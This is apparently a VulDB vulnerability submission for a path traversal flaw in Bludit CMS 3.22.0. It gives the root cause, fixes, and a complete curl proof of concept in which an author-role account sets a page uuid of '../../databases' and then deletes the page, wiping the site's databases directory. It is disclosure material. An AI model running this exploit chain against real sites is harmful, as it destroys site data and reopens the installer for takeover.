| tiêu đề | Bludit Bludit CMS 3.22.0 (runtime confirmed); 4.0.0-beta-1 (source review) CWE-22 (Path Traversal; specifically CWE-23 Relative Path Traver |
|---|
| Mô tả | Summary
=======
Bludit CMS 3.22.0 (and 4.0.0-beta-1) allows an authenticated user with the
low-privileged "author" role to delete arbitrary directories writable by the
web server. The page creation endpoint accepts a client-supplied "uuid"
value without validation, persists it, and Pages::delete() later concatenates
it into a filesystem path passed to Filesystem::deleteRecursive(). A two-
request proof of concept deletes bl-content/databases, removing site.php,
users.php and pages.php, and forces the instance back into the uninstalled
state.
Affected product
================
Vendor: Bludit
Product: Bludit CMS
Version: 3.22.0 (confirmed at runtime)
4.0.0-beta-1 (same sink confirmed by source review)
Component: bl-kernel/pages.class.php
bl-kernel/admin/controllers/new-content.php
CWE: CWE-22 Path Traversal (specifically CWE-23 Relative Path Traversal)
CVSS 3.1: 8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Root cause
==========
1. new-content.php line 22 calls createPage($_POST) and forwards the whole
POST array to Pages::add().
2. pages.class.php line 122 generates a UUID only when the supplied value is
empty:
if (empty($row['uuid'])) {
$row['uuid'] = $this->generateUUID();
}
A non-empty value such as ../../databases is stored unchanged.
3. pages.class.php line 165 creates uploads/pages/<page-key> as a symlink to
PATH_UPLOADS_PAGES . $row['uuid'], again without validation.
4. pages.class.php line 330 deletes the page with:
Filesystem::deleteRecursive(PATH_UPLOADS_PAGES . $uuid)
With uuid=../../databases the path resolves to bl-content/databases.
Prerequisites
=============
- Stock Bludit 3.22.0 instance.
- One authenticated account with role "author". "author" is the default role
for newly created users (users.class.php line 10); if self-registration is
enabled, any visitor can obtain such an account.
- No administrator interaction, no race condition, no CSRF token bypass.
PoC (self-hosted local instance)
================================
Assumptions: Bludit 3.22.0 at http://127.0.0.1:8080, docroot /var/www/bludit,
admin password Admin12345. Steps 0-2 are setup; the attacker only needs the
author1 account created in step 2.
BASE=http://127.0.0.1:8080
DOCROOT=/var/www/bludit
# 0. Fresh install (admin password Admin12345).
curl -s -c admin.jar -b admin.jar \
-d 'password=Admin12345&timezone=UTC' \
"$BASE/install.php?language=en"
# 1. Admin login.
T=$(curl -s -c admin.jar -b admin.jar "$BASE/admin/login" \
| grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c admin.jar -b admin.jar --data-urlencode "tokenCSRF=$T" \
-d 'username=admin&password=Admin12345' "$BASE/admin/login"
# 2. Admin creates the low-privileged author1 account.
T=$(curl -s -c admin.jar -b admin.jar "$BASE/admin/new-user" \
| grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c admin.jar -b admin.jar --data-urlencode "tokenCSRF=$T" \
-d 'new_username=author1&new_password=Author123&confirm_password=Author123&role=author&[email protected]' \
"$BASE/admin/new-user"
# 3. author1 login.
T=$(curl -s -c author.jar -b author.jar "$BASE/admin/login" \
| grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \
-d 'username=author1&password=Author123' "$BASE/admin/login"
# 4. Create a page with a traversal uuid.
T=$(curl -s -c author.jar -b author.jar "$BASE/admin/new-content" \
| grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \
--data-urlencode "uuid=../../databases" \
-d "title=p1&slug=p1&type=published&content=x&date=$(date -u '+%Y-%m-%d %H:%M')" \
"$BASE/admin/new-content"
# 5. Delete the page (the author deletes its own page).
T=$(curl -s -c author.jar -b author.jar "$BASE/admin/edit-content/p1" \
| grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \
-d 'type=delete&key=p1&tab=pages' "$BASE/admin/edit-content/p1"
# 6. Verify.
ls "$DOCROOT/bl-content/databases"
curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' "$BASE/"
Observed result
===============
Before step 5, bl-content/databases contains:
categories.php pages.php plugins security.php site.php syslog.php
tags.php users.php
and pages.php contains:
"p1": { ..., "uuid":"..\/..\/databases", ... }
The uploads directory contains:
p1 -> /var/www/bludit/bl-content/uploads/pages/../../databases
After step 5:
ls: cannot access '.../bl-content/databases': No such file or directory
GET / -> 302 http://127.0.0.1:8080/install.php
Control: a page created with the server-generated 32-hex UUID and deleted
normally removes only bl-content/pages/<key>; bl-content/databases remains
intact. This shows the deletion is caused by the injected uuid, not by page
deletion itself.
Impact
======
- Arbitrary recursive deletion of directories writable by the PHP process,
including bl-content/databases, bl-content/pages and uploads.
- Deleting bl-content/databases destroys site.php, users.php, pages.php and
security.php, causing data loss and taking the site offline.
- With site.php gone, index.php redirects to install.php; the installer is
reachable again, which can lead to a full site reset/takeover.
- Integrity and availability impact; no confidentiality impact demonstrated.
Fix
===
- Do not accept uuid from POST. Always generate it server-side on create.
- If a uuid must be accepted, validate it strictly, e.g.
preg_match('/^[a-f0-9]{32}$/i', $uuid), and regenerate on failure.
- In Pages::delete(), resolve realpath(PATH_UPLOADS_PAGES . $uuid) and
require it to be inside realpath(PATH_UPLOADS_PAGES) before deleting.
- Make Filesystem::deleteRecursive() refuse symlinks and re-check containment
at every recursion level.
Notes
=====
Tested on a self-hosted Docker instance (PHP 8.3.35, Linux, Bludit 3.22.0).
No public or third-party system was accessed. Full PoC is included above;
there is no separate public advisory at the time of submission. |
|---|
| Người dùng | rise11 (UID 102260) |
|---|
| Đệ trình | 23/10/2026 05:27 (cách đây 27 ngày) |
|---|
| Kiểm duyệt | 18/11/2026 08:22 (26 days later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 438065 [Bludit 3.22.0 Page Deletion Pages::delete UUID duyệt thư mục] |
|---|
| điểm | 0 |
|---|